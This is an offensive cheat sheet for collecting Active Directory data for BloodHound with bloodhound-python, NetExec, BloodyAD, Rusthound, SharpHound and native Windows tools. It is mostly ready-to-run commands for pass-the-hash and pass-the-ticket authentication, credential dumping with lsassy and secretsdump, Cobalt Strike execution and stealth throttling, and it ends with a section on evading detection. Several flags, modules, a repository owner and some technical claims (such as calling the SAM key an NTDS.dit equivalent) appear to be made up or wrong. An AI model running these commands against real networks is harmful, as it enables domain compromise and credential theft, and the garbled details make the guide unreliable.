Legend:
[REMOTE]= Remote collection from attacker machine |[LOCAL]= Local collection on target |[NATIVE]= Uses Windows native tools/APIs |[PYTHON]= Python-based injector |[RUST]= Rust-based injector |[CSHARP]= C#/.NET based |[HYBRID]= Mix of local + remote
1. BloodHound Fundamentals
What BloodHound Collects
BloodHound ingestors collect:
- User Objects: SID, login times, group memberships, SPNs, UAC flags, password never expires, LAPS
- Computer Objects: OS, enabled/disabled status, LAPS, OS version, local admins, sessions
- Group Objects: Members, properties, group scopes (global/domain local/universal)
- Domain Properties: Functional level, trusts, ADCS, GPOs, site topology
- ACL Data: Permissions, rights, delegation relationships (DCSync, RBCD, constrained delegation)
- Kerberos Info: SPN abuse vectors, delegation trust relationships
- ADCS: Certificate templates, issuance policies, enrollment rights (ESC detection)
Collection Phases
- Reconnaissance: Identify domain structure, DCs, sites, trusts
- Enumeration: Query AD for users, computers, groups, ACLs
- Relationship Mapping: Build attack paths (ACL chains, delegation, trust exploitation)
- Ingestion: Convert data → JSON → Import into BloodHound GUI
2. Data Collection Overview
| Method | Stealth | Speed | Coverage | Ease | Auth Required |
|---|---|---|---|---|---|
| bloodhound-python | Medium | Fast | Complete | Easy | Yes |
| NetExec | Medium-High | Fast | Good | Easy | Yes |
| BloodyAD | High | Medium | Selective | Medium | Yes |
| Rusthound | High | Very Fast | Complete | Medium | Yes |
| SharpHound (native) | Low | Fast | Complete | Hard | Yes |
| Windows native tools | Very High | Slow | Partial | Hard | Local/SYSTEM |
| PowerShell/WMI | Low | Medium | Good | Hard | Local/SYSTEM |
| LDAP direct queries | High | Medium | Complete | Medium | Yes |
3. bloodhound-python (Python)
Type: [REMOTE] [PYTHON] — Best for initial reconnaissance and complete data gathering.
Installation & Setup
# Install from pip
pip install bloodhound
# Or from source
git clone https://github.com/dirkjanm/BloodHound.py
cd BloodHound.py
pip install -e .
# Verify installation
bloodhound-python --help
Basic Usage
# Minimal — collect all data against DC
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# With output directory
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 -o /tmp/bh_output/
# Enumerate specific collection types
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c User,Computer,Group,ACL,Trusts,LoggedIn,Session,GPOAclEditor,Container
Detailed Options
# --- Authentication Variations ---
# With NTLM hash (pass-the-hash)
bloodhound-python -u attacker -p ':aabbccdd112233445566778899aabbcc' -d domain.local -dc 192.168.1.10
# With Kerberos ticket (ticket passing)
export KRB5CCNAME=/tmp/attacker.ccache
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k
# Anonymous (limited data)
bloodhound-python -u '' -p '' -d domain.local -dc 192.168.1.10 --allow-cleartext
# --- Collection Flags ---
# All collections
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c All --zip
# Specific collections (comma-separated, no spaces)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c User,Computer,Group,ACL,Trusts,ADCS,GPOAclEditor,Session,LoggedIn,Container
# LocalAdmin collection (requires elevated access)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c User,Computer,Group,ACL,Trusts,ADCS,LocalAdmin
# Session collection (network enumeration)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c Session,LoggedIn
# --- Networking & Targeting ---
# Specific domain controller
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# LDAP server alternative to DC
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--ldapserver ldap.domain.local
# GC (Global Catalog) for cross-domain data
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--use-gc
# Custom LDAPS (LDAP over SSL)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--protocol ldaps
# DNS lookup for DC discovery
bloodhound-python -u attacker -p 'Pass123!' -d domain.local
# --- Performance & Stealth ---
# DNS queries (no direct DC contact for some data)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--use-dns
# No reverse DNS lookups
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--no-dns
# Throttle queries (delay between requests for stealth)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--throttle 100 # milliseconds
# No kerb preauth
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--no-preauth
# --- Output & Formatting ---
# Write to directory
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-o /tmp/bh_data/
# JSON format (default, can import to GUI)
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-o /tmp/bh_data/ -c All
# Zip output automatically
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-o /tmp/bh_data/ --zip
# --- Multi-Domain Scenarios ---
# Single command for multiple domains
for domain in domain1.local domain2.local; do
bloodhound-python -u attacker@$domain -p 'Pass123!' -d $domain -dc $(dig +short $domain SRV | head -1 | awk '{print $NF}')
done
# Or using trusts
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
--use-gc # GC enumerates all domains in forest
Collection Types Explained
| Flag | Collects | Notes |
|---|---|---|
User |
User objects, SPNs, group memberships | Enabled/disabled, password policies |
Computer |
Computer objects, OS, sessions | Local admins (if enabled), LAPS |
Group |
Group objects, scope, members | Nested groups, scopes |
ACL |
DACLs on all objects | GenericAll, WriteDACL, DCSync rights |
Trusts |
Domain trusts, trust direction, SIDs | Forest trusts, external trusts |
ADCS |
Certificate templates, enrollment rights | Identifies ESC1-ESC11 misconfigurations |
GPOAclEditor |
GPO permissions, ACLs on GPOs | WriteProperty, GenericWrite detection |
LocalAdmin |
Local admin group members (SMB enumeration) | Requires network access to all computers |
Session |
Active sessions on computers (NetSess API) | Who's logged in where |
LoggedIn |
Session enumeration via registry hives | Same as Session, alternative method |
Container |
OU structure, inheritance, scope | Important for understanding policy scope |
PSRemote |
PSRemoting permissions | WinRM-based lateral movement |
Advanced Scenarios
# --- Cross-Domain Collection (All Forest) ---
bloodhound-python -u 'forest_user@domain.local' -p 'Pass123!' -d domain.local \
-dc 192.168.1.10 --use-gc -c All
# --- Low-Privilege User Collection ---
# With only Network Logon privilege (no LDAP bind auth required in some cases)
bloodhound-python -u 'lowpriv@domain.local' -p 'SimplePass!' -d domain.local \
-dc 192.168.1.10 -c User,Computer,Group,Trusts
# --- Null Session (No Credentials) ---
# Limited; usually blocked in modern AD
bloodhound-python -u '' -p '' -d domain.local -dc 192.168.1.10 --allow-cleartext
# --- Remote Collection via Tunnels ---
# Via SSH tunnel to DC
ssh attacker@pivot_host -L 389:192.168.1.10:389 &
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc localhost
# Via Ligolo-ng tunnel
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# (assumes Ligolo-ng tunnel is active)
Output Files
bh_output/
├── computers_*.json # Computer objects
├── domains_*.json # Domain properties
├── users_*.json # User objects
├── groups_*.json # Group objects
├── ous_*.json # OUs
├── gpos_*.json # Group Policy Objects
├── trusts_*.json # Domain trusts
├── containers_*.json # Containers
├── sessions_*.json # Session data
└── <domain>_<timestamp>.zip # All-in-one archive for import
4. NetExec / CrackMapExec
Type: [REMOTE] [PYTHON] — Multi-protocol enumeration, built-in BloodHound support.
Installation
# Install NetExec (newer, maintained)
pip install netexec
# Or CrackMapExec (older, still works)
pip install crackmapexec
# With database backend (optional, for caching results)
pip install netexec[sqlite]
Basic BloodHound Collection
# Basic SMB enumeration with BloodHound output
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local -M bloodhound
# Specify DC IP for LDAP queries
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound \
--module-options BLOODHOUND=true
# Write to specific directory
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound \
--module-options BLOODHOUND=true OUTDIR=/tmp/bloodhound/
Extended Enumeration
# Enumerate all computers in domain
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
--shares --computers
# Enumerate users and groups
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
-M enum_users -M enum_groups
# Local admin discovery (on all computers in range)
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
--local-auth -M lsassy
# Session enumeration
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
-M enum_sessions
# LDAP-based user + group + ACL enumeration
nxc ldap 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
--users --groups --gmsa
# Password policy enumeration
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
-M enum_pwd_policy
Collection Modules
# List all available modules
nxc smb --list-modules
# LAPS enumeration
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M laps
# gMSA enumeration
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M gmsa
# PrintNightmare / Spooler enumeration
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
-M spooler
# Shadow Credentials (checks for ADCS + PKINIT)
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
-M shadowcreds
# Delegation discovery
nxc smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
-M enum_delegation
CrackMapExec Specific
# CrackMapExec still works for legacy setups
cme smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local --shares
# BloodHound module in CME
cme smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local -M bloodhound \
-o BLOODHOUND=true
# Enumerate nested groups
cme smb 192.168.1.10 -u attacker -p 'Pass123!' -d domain.local \
-M enum_groups --groups "Domain Admins"
5. BloodyAD
Type: [REMOTE] [PYTHON] [HYBRID] — LDAP-focused, good for low-privilege collection + targeted queries.
Installation
pip install bloodyad
# Or from source
git clone https://github.com/CroweCybersecurity/BloodyAD
cd BloodyAD
pip install -e .
BloodHound Collection via BloodyAD
# List users
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object * --attr sAMAccountName,userPrincipalName,objectSid
# List computers
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object '*$' --attr sAMAccountName,objectSid,operatingSystem
# Dump all users with details
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(objectClass=user)' --detailed
# Dump all groups
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(objectClass=group)' --detailed
# Get domain info
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object DC=domain,DC=local --detailed
Targeted Enumeration
# Find all users with SPNs (Kerberoastable)
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(servicePrincipalName=*)' --attr sAMAccountName,servicePrincipalName
# Find all accounts with "password never expires" flag
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(userAccountControl:1.2.840.113556.1.4.803:=65536)' \
--attr sAMAccountName
# Find LAPS-enabled computers
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(ms-Mcs-AdmPwdExpirationTime=*)' --attr sAMAccountName
# Find gMSA accounts
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(objectClass=msDS-GroupManagedServiceAccount)' --attr sAMAccountName
# Find service accounts with delegation enabled
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(msDS-AllowedToDelegateTo=*)' --attr sAMAccountName,msDS-AllowedToDelegateTo
Custom LDAP Queries
# Get object from LDAP
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object "CN=Domain Admins,CN=Users,DC=domain,DC=local" --detailed
# Search with custom filter
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get search "(|(objectClass=user)(objectClass=computer))" --attr objectSid,distinguishedName
# Get ACLs on object
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get acl "CN=Domain Admins,CN=Users,DC=domain,DC=local"
# Get members of group
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get members "Domain Admins"
Custom JSON Output for BloodHound
# Export raw LDAP data to JSON
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(objectClass=*)' | jq . > all_objects.json
6. Rusthound (Rust)
Type: [REMOTE] [RUST] — Fastest, minimal footprint, great for C2 environments.
Installation
# Download pre-built binary
wget https://github.com/NH-RED-TEAM/RustHound/releases/download/v2.0/rusthound-latest
# Or build from source
git clone https://github.com/NH-RED-TEAM/RustHound
cd RustHound
cargo build --release
Basic Usage
# Minimal invocation
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 -o /tmp/output/
# All collections
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ --zip
# Collect only users and groups
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ -c users,groups
Advanced Options
# --- Authentication Variants ---
# NTLM hash (pass-the-hash)
./rusthound -d domain.local -u attacker --hash aabbccdd112233445566778899aabbcc \
--dc 192.168.1.10 -o /tmp/output/
# Kerberos ticket
./rusthound -d domain.local -u attacker -k --ccache /tmp/attacker.ccache \
--dc 192.168.1.10 -o /tmp/output/
# --- Collection Flags ---
# Specific collections
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ -c users,groups,computers,acls,trusts,adcs
# --- Performance & Output ---
# Multi-threaded (faster)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ -t 10 # 10 threads
# Stealth mode (slower, fewer queries)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ --stealth
# Zip output
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ --zip
# JSON output (default)
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/output/ -f json
Rusthound vs bloodhound-python
| Feature | Rusthound | bloodhound-python |
|---|---|---|
| Speed | Very Fast (Rust) | Fast (Python) |
| Binary Size | Small (~10MB) | Requires Python install |
| Dependencies | Minimal | Python 3.6+, libraries |
| C2 Friendly | Yes | Yes |
| Threading | Native | Limited |
| ADCS Enumeration | Yes | Yes |
| Session Collection | Yes | Yes |
7. SharpHound (C# — Remote Compilation)
Type: [LOCAL] [CSHARP] [NATIVE] — Compiled C# injector, runs on Windows with .NET.
Remote Compilation Approach
# --- Option A: Compile on Linux/Mac with mono (not recommended) ---
apt-get install mono-complete
mcs /path/to/SharpHound.cs -out:SharpHound.exe
# --- Option B: Compile on Windows target (in-memory) ---
# Use DotNetToJScript or similar in-memory loader
# --- Option C: Download pre-compiled binary ---
wget https://github.com/BloodHoundAD/SharpHound/releases/download/v2.x/SharpHound.exe
Basic Usage (Windows)
# Collect all data
.\SharpHound.exe -c All
# Specific collections
.\SharpHound.exe -c User,Computer,Group,ACL,Trusts,ADCS,LocalAdmin
# Domain specification
.\SharpHound.exe -c All -d domain.local --dc 192.168.1.10
# Output directory
.\SharpHound.exe -c All -d domain.local --outputdir C:\temp\bh\
Advanced SharpHound Options
# --- Collection Flags ---
# Same as bloodhound-python
# --- Stealth Options ---
# Loop mode (keep collecting)
.\SharpHound.exe -c All -d domain.local --loop --loopdelay 3600
# Session enumeration via API (faster)
.\SharpHound.exe -c Session --sessionmethod api
# Throttle queries
.\SharpHound.exe -c All --throttle 100
# --- Performance ---
# Increase threads
.\SharpHound.exe -c All --maxthreads 20
# Exclude low-value data
.\SharpHound.exe -c User,Computer,Group,ACL,Trusts --nolocaladmin
Remote Compilation via C2
# Upload SharpHound source + compile in-memory
# Using Cobalt Strike
beacon> cd C:\Windows\Temp
beacon> upload /path/to/SharpHound.exe
beacon> execute-assembly SharpHound.exe -c All -d domain.local
# Or inline compile with Cradle
beacon> powershell .\Invoke-SharpHound.ps1 -c All
8. Windows Native Injectors
Type: [LOCAL] [NATIVE] [HYBRID] — Using built-in Windows tools (no external tools required).
8.1 PowerShell + Active Directory Module
Stealth Level: [LOW] — Logs event 4688, but useful for learning.
# Import AD module (requires RSAT or DC)
Import-Module ActiveDirectory
# Get all users
Get-ADUser -Filter * -Properties * | Select-Object Name,SamAccountName,SID,UserPrincipalName,Enabled
# Get all computers
Get-ADComputer -Filter * -Properties * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Enabled
# Get all groups
Get-ADGroup -Filter * -Properties * | Select-Object Name,GroupScope,GroupCategory,Members
# Get domain info
Get-ADDomain | Select-Object *
# Get forest info
Get-ADForest | Select-Object *
# Get trusts
Get-ADTrust -Filter * | Select-Object Name,Direction,TrustType
# Find users with SPNs
Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName | Select-Object Name,ServicePrincipalName
# Find LAPS-enabled computers
Get-ADComputer -Filter {ms-Mcs-AdmPwdExpirationTime -like "*"} -Properties Name,ms-Mcs-AdmPwdExpirationTime
# Export all to CSV for processing
Get-ADUser -Filter * -Properties * | Export-Csv -Path users.csv -NoTypeInformation
Get-ADComputer -Filter * -Properties * | Export-Csv -Path computers.csv -NoTypeInformation
8.2 LDAP Queries via .NET (C# / PowerShell)
Stealth Level: [MEDIUM-HIGH] — LDAP queries, harder to detect.
# --- PowerShell LDAP Query (No Module Required) ---
# Query users via LDAP
$ldap = "LDAP://domain.local"
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = New-Object System.DirectoryServices.DirectoryEntry($ldap)
$searcher.Filter = "(&(objectClass=user)(objectCategory=person))"
$users = $searcher.FindAll()
$users | ForEach-Object { $_.Properties }
# Query computers
$searcher.Filter = "(&(objectClass=computer)(objectCategory=computer))"
$computers = $searcher.FindAll()
$computers | ForEach-Object { $_.Properties }
# Query groups
$searcher.Filter = "(&(objectClass=group))"
$groups = $searcher.FindAll()
$groups | ForEach-Object { $_.Properties }
# Get ACLs on object
$dn = "CN=Domain Admins,CN=Users,DC=domain,DC=local"
$entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$dn")
$acl = $entry.ObjectSecurity
$acl.Access | ForEach-Object { $_ }
8.3 ADSI (Active Directory Service Interfaces)
Stealth Level: [MEDIUM] — Traditional COM-based approach.
# Get root DSE for domain info
[System.DirectoryServices.DirectoryEntry]::new("LDAP://RootDSE").Properties
# Query entire domain
$root = [System.DirectoryServices.DirectoryEntry]::new("LDAP://DC=domain,DC=local")
$searcher = [System.DirectoryServices.DirectorySearcher]::new($root)
$searcher.Filter = "(objectClass=*)"
$searcher.FindAll() | ForEach-Object { $_ }
# Recursive group membership
function Get-GroupMembers($group) {
$members = @()
$groupObj = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$group")
$groupObj.member | ForEach-Object {
$member = [System.DirectoryServices.DirectoryEntry]::new("LDAP://$_")
$members += $member
if ($member.Properties["objectClass"] -contains "group") {
$members += Get-GroupMembers $_
}
}
return $members
}
$admins = Get-GroupMembers "CN=Domain Admins,CN=Users,DC=domain,DC=local"
$admins | ForEach-Object { $_.Properties["samAccountName"] }
8.4 Command Line Tools (cmd.exe)
Stealth Level: [HIGH] — Native Windows binaries, minimal footprint.
REM Get domain info
dsquery user domainroot
REM Get all users
dsquery user -limit 0
REM Get all computers
dsquery computer -limit 0
REM Get group members
dsquery group -name "Domain Admins" | dsget group -members -expand
REM Get user properties
dsget user CN=username,CN=Users,DC=domain,DC=local -samid -sid -email
REM Query via LDAP filter
dsquery * domainroot -filter "(&(objectClass=user)(objectCategory=person))" -limit 0
REM Export to file
dsquery user -limit 0 > users.txt
dsquery computer -limit 0 > computers.txt
8.5 WMI (Windows Management Instrumentation)
Stealth Level: [MEDIUM] — Network-based WMI queries.
# Query local computer info
Get-WmiObject Win32_ComputerSystem
# Query OS info
Get-WmiObject Win32_OperatingSystem
# Query group members (local)
Get-WmiObject Win32_GroupUser | Where-Object { $_.GroupComponent.Name -eq "Administrators" }
# Remote WMI query (requires credentials + remote access)
$cred = Get-Credential
Get-WmiObject -Class Win32_ComputerSystem -ComputerName 192.168.1.50 -Credential $cred
# Get installed services
Get-WmiObject -Class Win32_Service
8.6 Registry Queries (for session data)
Stealth Level: [HIGH] — Direct registry access, can be cached locally.
# Get recent user logins (from registry)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" /s
# Get network shares
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Shares" /s
# Cached credentials (NTDS.dit equivalent on workstations)
# (Requires SYSTEM privileges)
reg query "HKEY_LOCAL_MACHINE\SAM"
# Last logon timestamps
Get-WinEvent -FilterHashtable @{LogName="Security"; ID=4688} -MaxEvents 1000 |
Select-Object @{N="User";E={$_.Properties[1].Value}}, TimeCreated |
Sort-Object TimeCreated -Descending
8.7 NetSess API (Session Enumeration)
Stealth Level: [HIGH] — Native network session enumeration.
# Using net session (requires local admin)
net session
# Via PSSession
$sessions = Get-PSSession
$sessions | Select-Object ComputerName,Id,State
# Remote session check (requires SMB + ADMIN$ share)
# Built into some native tools
net view \\targetcomputer /all
9. Hybrid Collection Chains
Chain 1: bloodhound-python + Manual Remediation
#!/bin/bash
# Step 1: Quick collection with bloodhound-python
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10 \
-c All --zip -o /tmp/bh1
# Step 2: Targeted queries with BloodyAD for missed ACL edges
bloodyad -u attacker -p 'Pass123!' -d domain.local --host 192.168.1.10 \
get object \* --filter '(|(adminCount=1)(userAccountControl:1.2.840.113556.1.4.803:=524288)))' \
> /tmp/acl_details.txt
# Step 3: NetExec for session data
nxc smb 192.168.1.0/24 -u attacker -p 'Pass123!' -d domain.local \
-M enum_sessions | tee /tmp/sessions.txt
# Step 4: Combine outputs manually or use a script to merge JSONs
python3 merge_bloodhound_data.py /tmp/bh1 /tmp/acl_details.txt /tmp/sessions.txt > final_output.json
Chain 2: Rusthound + Session Enumeration
#!/bin/bash
# Step 1: Fast collection with Rusthound
./rusthound -d domain.local -u attacker -p 'Pass123!' --dc 192.168.1.10 \
-o /tmp/bh_rust/ --zip -t 20
# Step 2: Session enumeration via SMB
for comp in $(cat /tmp/computers.txt); do
echo "[*] Checking sessions on $comp..."
nxc smb $comp -u attacker -p 'Pass123!' -M enum_sessions
done >> /tmp/sessions_detailed.json
# Step 3: Merge
cat /tmp/bh_rust/computers_*.json >> final_data.json
cat /tmp/sessions_detailed.json >> final_data.json
Chain 3: PowerShell Native + Manual LDAP
# Step 1: AD Module collection
$users = Get-ADUser -Filter * -Properties *
$computers = Get-ADComputer -Filter * -Properties *
$groups = Get-ADGroup -Filter * -Properties *
# Export to JSON
$users | ConvertTo-Json | Out-File users.json
$computers | ConvertTo-Json | Out-File computers.json
$groups | ConvertTo-Json | Out-File groups.json
# Step 2: ACL enumeration via ADSI + custom PowerShell
$root = [System.DirectoryServices.DirectoryEntry]::new("LDAP://DC=domain,DC=local")
$searcher = [System.DirectoryServices.DirectorySearcher]::new($root)
$searcher.Filter = "(objectClass=*)"
$results = $searcher.FindAll()
$results | ForEach-Object {
$_.Properties
} | ConvertTo-Json | Out-File all_objects.json
# Step 3: Import to BloodHound manually via GUI
# (Copy JSON files to BloodHound import directory)
10. Authentication Methods
Method 1: Username + Password
# Clear text password
bloodhound-python -u attacker -p 'Pass123!' -d domain.local -dc 192.168.1.10
# Prompt for password (interactive)
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10
# (will prompt for password)
Method 2: NTLM Hash (Pass-the-Hash)
# bloodhound-python
bloodhound-python -u attacker -p ':aabbccdd112233445566778899aabbcc' \
-d domain.local -dc 192.168.1.10
# NetExec
nxc smb 192.168.1.10 -u attacker -H aabbccdd112233445566778899aabbcc \
-d domain.local -M bloodhound
# Rusthound
./rusthound -d domain.local -u attacker \
--hash aabbccdd112233445566778899aabbcc --dc 192.168.1.10
# BloodyAD
bloodyad -u attacker -H aabbccdd112233445566778899aabbcc \
-d domain.local --host 192.168.1.10
Method 3: Kerberos Ticket (Pass-the-Ticket)
# Generate ticket (via Rubeus on Windows or Impacket on Linux)
# Assume ticket is at /tmp/attacker.ccache
export KRB5CCNAME=/tmp/attacker.ccache
# bloodhound-python
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k
# NetExec
nxc smb 192.168.1.10 -u attacker -d domain.local -k
Method 4: AES Key (Pass-the-Key)
# If you have user's AES256 key from ADCS/Kerberos
export KRB5CCNAME=/tmp/attacker.ccache
# Use impacket's getTGT.py first
python3 getTGT.py -aesKey <AES256_KEY> domain.local/attacker
# Then use with -k flag
bloodhound-python -u attacker -d domain.local -dc 192.168.1.10 -k
Method 5: Null/Guest (Limited)
# No credentials (guest access)
bloodhound-python -u '' -p '' -d domain.local -dc 192.168.1.10 --allow-cleartext
# Unauthenticated LDAP (very limited)
bloodhound-python -u '' -d domain.local -dc 192.168.1.10
Method 6: Cached Credentials (SAM Hive)
# Extract from local SAM (requires SYSTEM on target)
# Use secretsdump.py or extract locally
python3 secretsdump.py -sam SAM -system SYSTEM LOCAL
# Use extracted hash with pass-the-hash
bloodhound-python -u <username> -p ':<hash>' -d domain.local -dc 192.168.1.10
11. Enumeration Flags & Options
Collection Targets
| Flag | Meaning | BloodHound Requirement |
|---|---|---|
All |
All collections | Most complete |
User |
User objects | Yes |
Computer |
Computer objects | Yes |
Group |
Group objects | Yes |
ACL |
Object ACLs | Yes, most important |
Trusts |
Domain trusts | Yes |
ADCS |
Certificate templates | Optional, ESC detection |
GPOAclEditor |
GPO permissions | Optional |
LocalAdmin |
Local admins on computers | Optional (SMB enum) |
Session |
Active sessions | Optional (network enum) |
LoggedIn |
Logged-in users | Alternative to Session |
Container |
OU structure | Optional |
PSRemote |
PS Remoting permissions | Optional |
Authentication Flags
| Flag | Purpose | Example |
|---|---|---|
-u |
Username | -u attacker |
-p |
Password (clear or hash) | -p 'Pass123!' or -p ':hash' |
-k |
Use Kerberos ticket | -k |
-d |
Domain | -d domain.local |
--dc |
Domain controller IP | --dc 192.168.1.10 |
-H / --hash |
NTLM hash (NetExec) | -H aabbccdd... |
--use-gc |
Global Catalog (cross-domain) | --use-gc |
--protocol |
LDAP protocol (ldap/ldaps/gc) | --protocol ldaps |
Performance Flags
| Flag | Purpose | Default |
|---|---|---|
-t / --threads |
Thread count (Rusthound) | 4 |
--throttle |
Query delay (ms) | 0 |
--maxthreads |
Max threads (SharpHound) | 20 |
--no-dns |
Skip DNS lookups | false |
--use-dns |
Force DNS queries | false |
--stealth (Rusthound) |
Stealth mode (slower) | false |
--loopdelay |
Delay between loops (s) | 300 |
Output Flags
| Flag | Purpose | Example |
|---|---|---|
-o / --output |
Output directory | -o /tmp/bh/ |
--zip |
Zip output files | --zip |
-f / --format |
Output format (json/etc) | -f json |
--outputdir (SharpHound) |
Output directory | --outputdir C:\temp\ |
12. Data Analysis & Post-Collection
Step 1: Import to BloodHound GUI
# Copy JSON files to BloodHound uploads directory
# Linux: ~/.config/bloodhound/
# macOS: ~/Library/Application Support/bloodhound/
# Windows: %APPDATA%\BloodHound\
cp /tmp/bh_output/*.json ~/.config/bloodhound/
# Or import via GUI: Upload → Select ZIP file
Step 2: Built-in BloodHound Queries
# Critical attack paths
1. Shortest paths to Domain Admin
2. Shortest paths to High Value Targets
3. Find Principals with DCSync Rights
4. Find Principals with LAPS Read Rights
5. Find computers where Domain Users are Local Admin
6. Find AS-REP Roastable Users
7. Find Kerberoastable Users
8. Find Constrained Delegation Principals
9. Find Computers with Unconstrained Delegation
10. Find all Paths to Administrator Accounts
11. Find Shortest Paths to Domain Admin from Owned Principals
12. Find ACL abuse chains
Step 3: Custom Queries
# Cypher query: Find all ACEs granted to "attacker" user
MATCH (n)-[r:GenericAll|WriteDACL|WriteProperty|WriteOwner|Owns]->(m)
WHERE n.name =~ "ATTACKER.*"
RETURN n.name, type(r), m.name
# Find all users in Domain Admins
MATCH (n:User)-[r:MemberOf*]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN n.name
# Find computers with local admin access
MATCH (u:User)-[r:AdminTo]->(c:Computer)
RETURN u.name, c.name
# Find Kerberoastable users
MATCH (u:User)-[r:HasSPN]->(s)
RETURN u.name, s
# Find constrained delegation
MATCH (u:Computer)-[r:AllowedToDelegate]->(c:Computer)
RETURN u.name, c.name
# Find RBCD
MATCH (u:Computer)-[r:WriteAccountRestrictions]->(c:Computer)
RETURN u.name, c.name
Step 4: Export Results for Reporting
# Export query results from BloodHound
# (Via GUI: Export button on results)
# Or manually combine JSON data
python3 -c "
import json
import glob
data = {}
for f in glob.glob('/tmp/bh_output/*.json'):
with open(f) as jf:
data.update(json.load(jf))
with open('merged_output.json', 'w') as out:
json.dump(data, out, indent=2)
"
13. Detection & Evasion
Detection Signatures
| Activity | Detection | Mitigation |
|---|---|---|
| LDAP queries (high volume) | Audit LDAP binds, query volume | Throttle queries, use legitimate accounts |
| BloodHound-specific user agents | HTTP headers, web logs | Use generic user agents |
| Specific tool behavior patterns | SIEM correlation | Use native tools (PowerShell, cmd) |
